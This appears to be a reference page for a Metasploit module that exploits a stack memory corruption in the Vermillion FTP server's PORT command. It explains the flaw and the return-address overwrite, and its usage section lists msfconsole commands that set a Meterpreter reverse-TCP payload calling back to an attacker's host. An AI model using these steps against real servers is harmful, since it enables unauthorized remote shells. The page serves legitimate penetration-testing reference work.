Vermillion FTP Daemon PORT Command Memory Corruption
This module exploits an out-of-bounds array access in the Arcane Software Vermillion FTP server. By sending an specially crafted FTP PORT command, an attacker can corrupt stack memory and execute arbitrary code. This particular issue is caused by processing data bound by attacker controlled input while writing into a 4 byte stack buffer. Unfortunately, the writing that occurs is not a simple byte copy. Processing is done using a source ptr (p) and a destination pointer (q). The vulnerable function walks the input string and continues while the source byte is non-null. If a comma is encountered, the function increments the the destination pointer. If an ascii digit [0-9] is encountered, the following occurs: *q = (*q * 10) + (*p - '0'); All other input characters are ignored in this loop. As a consequence, an attacker must craft input such that modifications to the current values on the stack result in usable values. In this exploit, the low two bytes of the return address are adjusted to point at the location of a 'call edi' instruction within the binary. This was chosen since 'edi' points at the source buffer when the function returns. NOTE: This server can be installed as a service using "vftpd.exe install". If so, the service does not restart automatically, giving an attacker only one attempt.
Exploit Rank
- Great
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Automatic Targeting (default)
- 1 - vftpd 1.31 - Windows XP SP3 English
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/3cdaemon_ftp_user
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/ability_server_stor
- exploit/windows/ftp/absolute_ftp_list_bof
- exploit/windows/ftp/cesarftp_mkd
- exploit/windows/ftp/dreamftp_format
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
Exploit Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ftp/vermillion_ftpd_port
msf exploit(vermillion_ftpd_port) > show payloads
msf exploit(vermillion_ftpd_port) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vermillion_ftpd_port) > set LHOST [MY IP ADDRESS]
msf exploit(vermillion_ftpd_port) > set RHOST [TARGET IP]
msf exploit(vermillion_ftpd_port) > exploit
Exploit Module Options
| FTPPASS | The password for the specified username (default: mozilla@example.com) |
| FTPUSER | The username to authenticate as (default: anonymous) |
| RHOST | The target address |
| RPORT | The target port (default: 21) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FTPDEBUG | Whether or not to print verbose debug statements |
| FTPTimeout | The number of seconds to wait for a reply from an FTP command |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
